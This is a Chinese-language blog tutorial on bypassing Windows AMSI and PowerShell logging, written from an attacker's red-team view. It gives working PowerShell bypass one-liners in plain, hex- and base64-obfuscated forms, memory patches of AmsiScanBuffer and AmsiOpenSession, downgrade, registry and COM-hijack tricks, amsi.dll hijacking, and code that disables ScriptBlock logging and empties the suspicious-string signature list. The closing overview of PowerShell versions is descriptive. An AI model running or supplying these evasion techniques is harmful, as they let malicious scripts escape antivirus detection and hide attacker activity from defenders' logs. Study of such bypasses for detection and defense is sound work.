How to Bypass AMSI
关于AMSI
当用户执行脚本或启动 PowerShell 时,AMSI.dll 被动态加载进入内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。
AmsiScanBuffer()
AmsiScanString()
amsi只是一个通道,真正检测出是否是恶意脚本的是杀软,比如defender,amsi和杀软的区别在于无论我们的恶意脚本是经过多次模糊处理还是远程执行,amsi都可以在脚本注入内存前检测到。而普通的静态杀毒软件是没办法的。
其实不难理解,首先我们要知道我们的恶意脚本是如何注入内存执行的
bypass 杀毒软件时我们的脚本一定是模糊处理的,但是无论我们什么样模糊处理到注入内存执行的时候一定是纯净,清晰的代码,不然脚本引擎无法理解和执行我们的恶意脚本。那么问题就是在这里,amsi在脚本解密到注入内存之前去扫描查杀。这才是调用amsi的意义。
amsi是所有杀毒软件都可以调用吗?并不是!
amsi是在Windows 10 和Windows Server 2016 之后才有的,然后并不是所有的杀毒软件都可以调用amsi接口。国内的基本都不可以。
在github上有一个项目记录了可以调用amsi的杀毒软件
https://github.com/subat0mik/whoamsi/
查看amsi中的查杀结果
1 | Get-WinEvent 'microssoft-windows-windows defender/operational' | Where-Object id -EQ 1116 | format-list |
AMSI的调用
下图为AMSI的扫描过程
可以成为Windows的组件
1 | 1.用户账户控制,也就是UAC(EXE、COM、MSI、ActiveX的安装) |
主流对抗
1.降级
因为低版本(2.0)的powershell是没有amsi的,所以在powershell2.0上执行恶意脚本就不会被检测到
下图是powershell在各个系统上的预装情况,可以看到现在常见的win10、Windows 2016、2019很少预装有powershell2.0(amsi是从win10、2016开始存在的),但是由于很多服务需要低版本的powershell,所以在红蓝对抗中也会碰到装有powershell2.0 的机器。
查看当前powershell版本
1 | $PSVersionTable |
判断能否使用powershell 2.0
1 | 注:非管理员权限 |
虚拟机上测试未安装低版本powershell
1 | powershell.exe -version 2 //改变powershell运行版本 |
这里因为没有环境,我本机装有其他杀软,amsi不起作用,就不演示了
如果在脚本中使用,在脚本开头加入 #requires -version 2
,这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版本执行。当然并不是所有脚本都可以在低版本的powershell执行。
还有一点,用powershell3 /4/5都还是默认以当前版本的powershell来执行
另外vbscript/jscript不存在所谓降级攻击,因为在10/16/19并不存在像powershell一样的断代
情况
2.拆分
3.改注册表禁用AMSI
设置注册表HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
设置为 0,以禁用
AMSI。
很奇怪,我在本机和虚拟机上都没有找到这一键值,估计是和系统型号有关
查阅多方资料,这个方法现在已经不能用了。
4.一键关闭AMSI
使用一行命令关闭amsi,但是现在被加黑了
1 | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true) |
我们 可以一个个试 到底是哪里被杀了
单独检测下,可以看到 AmsiUtils
和AmsiInitFailed
被杀了
那接下来的思路就很明确了,就是针对AmsiUtils
和AmsiInitFailed
这两个字符串进行处理了
其实和混淆shellcode的方法差不多,先编码再解码
1 | //System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据 |
其中混淆的关键点就是 编码解码 [string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
hex编码
1 | [Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) |
下面的这种 base64亲测失效,虽然可以关掉amsi,但被defender查杀,会立刻结束掉当前powershell进程
1 | [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) |
更多的混淆办法去学习下powershell,了解语言本身才能产生更多骚思路
5.内存补丁
AMSI检测相关api的调用顺序
1 | AmsiInitialize – 初始化AMSI API. |
因为amsi是基于字符串静态扫描的,用到的函数是 AmsiScanBuffer
,我们是不是可以hook该函数,使其返回我们需要的值呢?理则是修改AmsiScanBuffer函数的参数值(两个思路,一个是修改扫描长度,另一个是修改返回值)
看下AmsiScanBuffer
的函数参数
1 | HRESULT AmsiScanBuffer( |
为了让amsi.dll 返回 AMSI_RESULT_NOT_DETECTED
,这里的关注点是 hResult
,即amsi.dll的返回值,只要它小于0,就可以bypass amsi。通过分析我们可以在AmsiInitialize、AmsiOpenSession、AmsiScanBuffer
这3个函数中patch(补丁)都可以达到bypass amsi的效果.
分析后,AmsiInitializ
不可以利用,AmsiOpenSession、AmsiScanBuffer
可以利用
demo
1 | $p=@" |
这段代码的功能就是在AmsiScanBuffer
的函数地址处直接打补丁,补丁汇编是:
1 | mov eax,0x80070057 |
0x80070057
也就是-2147024809
,是一个负数,当然也可以是其他负数,而AmsiScanBuffer
也可以修
改成AmsiOpenSession
。怎么把汇编代码转换成代码中的数组呢?使用https://defuse.ca/online-x86-assembler.htm#disassembly,可以很快转换。我们来修改代码测试下:
1 | $p=@" |
我们修改了被打补丁的函数为AmsiOpenSession,补丁汇编代码为:
1 | mov eax,-1 |
我们知道了补丁函数可以为AmsiOpenSession、AmsiScanBuffer,补丁代码可以变化很
多,只要返回结果为负数就行。
1 |
|
0xc3的硬编码对应的汇编是ret,也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。
非主流对抗
1.劫持amsi.dll
其实就是白加黑,以前做过一次分享,讲的很菜,视频也没有公开。具体原理不再多说,网上有很多。
正常amsi.dll存在于c:\windows\system32\amsi.dll
,使用 Aheadlib工具生成或者自己找到 amsi.dll 对应的导出函数,自己写,一样的。当然自己的dll没有签名,这里还涉及到免杀的问题,如果可以添加微软前面,再劫持,又有很大的可玩性。
2.NULL字符绕过
这个方法已经失效了,但还是提一下,扩充下思路。
Amsi扫描使用的是 AmsiScanString
函数
1 | HRESULT WINAPI AmsiScanString( |
其中string就是脚本内容,在执行脚本之前加个空字符就可以截断,而修复的方法是用了 AmsiScanBuffer
这个函数,所以amsi才会用这两个函数来扫描
1 | HRESULT WINAPI AmsiScanBuffer( |
3.COM server劫持
原理:amsi.dll在老版本中使用 CoCreateInstance()函数调用IID和CLSID来实例化COM接口。而这个函数会先
从注册表HKCU中找对应的dll去解析,也就是当前用户,因此我们创建相应的注册表,让它调用失败就行了。简单来说利用的是注册表优先级来绕过。
1 | Windows Registry Editor Version 5.00 |
而微软通过直接调用amsi.dll 的 DllGetClassObject()
函数替换 CoCreateInstance()
,
可以避免注册表解析。
但是这种方法也失效了,不过可以学习下思路。
Powershell 版本特性
PowerShell V2
PowerShell V2提供事件记录能力,可以协助蓝队进行相关的攻击事件推断和关联性分析,但是其日志记录单一,相关Post-Exploitation可做到无痕迹;并且因为系统兼容性,在后续版本攻击者都会尝试降级至此版本去躲避日志记录。
PowerShell V3/V4
PowerShell V3/V4 相比之前提供了更全面的日志记录功能。Windows PowerShell 3.0 改进了对命令和模块的日志记录和跟踪支持。 自PowerShell v3版本以后支持启用PowerShell模块日志记录功能,并将此类日志归属到了4103事件。PowerShell模块日志可以配置为记录所有的PowerShell模块的活动情况,包括单一的PowerShell命令、导入的模块、远程管理等。可以通过GPO进行启用模块日志记录。
PowerShell V5
PowerShell V5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志。随着PowerShell攻击技术的不断成熟,攻击者为了规避防护和日志记录进行了大量的代码混淆,在执行代码之前很难发现或确认这些代码实际上会做些什么事情,给攻击检测和取证造成了一定的困难,因此微软从PowerShell5.0开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。
PowerShell V6
PowerShell V6 出于功能需求,提供了更全面的系统覆盖能力。由于PowerShell在Linux和MacOS等操作系统上的支持在MacOS上安装(pwsh),处于安全性考虑日志记录作为必不可少的一部分,PowerShell使用本机os_log API登录Apple的统一日志记录系统。在Linux上,PowerShell使用Syslog,微软将此上升成为一种几乎全平台支持的日志记录解决方案。
PowerShell V7
PowerShell V7(PS7)基于.NET Core 3.0,Microsoft旨在提供与Windows PowerShell模块更高的兼容性,高达90%。作为PowerShell 7的一部分,Microsoft在之前的日志记录基础上,增加了一种安全使用本地或远程存储中的凭据的方法,以便不需要将密码嵌入到脚本中。还将改进日志记录,以提供将本地计算机日志发送到远程设备的机制,而不管原始操作系统如何。
这里要说的是V5的脚本日志记录。
1 | 1. 按Win+R打开Windows运行窗口,在输入框里输入gepdit.msc,打开Windows本地组策略编辑器; |
我们可以通过操作注册表的方式,将日志功能关闭。(Empire框架目前已经将该功能整合到payload中)利用如下代码即可
1 | $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); |
PowerShell 记录可疑字符串
Powershell v5版本之后,可记录可疑的字符串,如’Add-Type’、’CreateType’等。可通过如下代码降低策略强度
1 | [Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')) |
总结
AMSI被开发出的时间不长,所以对抗程度也没有很激烈,稍微混淆一下就可以绕过。其实很多杀软也是,绕过的原理都是相同的,万变不离其宗。不过还是要会写代码,对powershell这门语言熟悉才可以更好的混淆
附上一个平台:AMSI.fail 可以玩一玩
参考文章:
1 | 《Bypass AMSI的前世今生》by L.N. |
Peace.